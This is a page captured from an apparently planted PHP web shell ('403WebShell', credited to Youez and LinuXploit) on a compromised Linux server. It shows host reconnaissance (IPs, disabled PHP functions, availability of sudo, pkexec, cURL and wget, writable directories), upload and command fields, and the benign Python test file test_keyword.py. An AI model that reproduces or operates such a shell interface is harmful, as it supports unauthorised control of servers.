Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.10/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.10/test//test_keyword.py
import keyword
import unittest


class Test_iskeyword(unittest.TestCase):
    def test_true_is_a_keyword(self):
        self.assertTrue(keyword.iskeyword('True'))

    def test_uppercase_true_is_not_a_keyword(self):
        self.assertFalse(keyword.iskeyword('TRUE'))

    def test_none_value_is_not_a_keyword(self):
        self.assertFalse(keyword.iskeyword(None))

    # This is probably an accident of the current implementation, but should be
    # preserved for backward compatibility.
    def test_changing_the_kwlist_does_not_affect_iskeyword(self):
        oldlist = keyword.kwlist
        self.addCleanup(setattr, keyword, 'kwlist', oldlist)
        keyword.kwlist = ['its', 'all', 'eggs', 'beans', 'and', 'a', 'slice']
        self.assertFalse(keyword.iskeyword('eggs'))

    def test_changing_the_softkwlist_does_not_affect_issoftkeyword(self):
        oldlist = keyword.softkwlist
        self.addCleanup(setattr, keyword, "softkwlist", oldlist)
        keyword.softkwlist = ["foo", "bar", "spam", "egs", "case"]
        self.assertFalse(keyword.issoftkeyword("spam"))

    def test_all_keywords_fail_to_be_used_as_names(self):
        for key in keyword.kwlist:
            with self.assertRaises(SyntaxError):
                exec(f"{key} = 42")

    def test_all_soft_keywords_can_be_used_as_names(self):
        for key in keyword.softkwlist:
            exec(f"{key} = 42")

    def test_async_and_await_are_keywords(self):
        self.assertIn("async", keyword.kwlist)
        self.assertIn("await", keyword.kwlist)

    def test_match_and_case_are_soft_keywords(self):
        self.assertIn("match", keyword.softkwlist)
        self.assertIn("case", keyword.softkwlist)
        self.assertIn("_", keyword.softkwlist)

    def test_keywords_are_sorted(self):
        self.assertListEqual(sorted(keyword.kwlist), keyword.kwlist)

    def test_softkeywords_are_sorted(self):
        self.assertListEqual(sorted(keyword.softkwlist), keyword.softkwlist)


if __name__ == "__main__":
    unittest.main()

Youez - 2016 - github.com/yon3zu
LinuXploit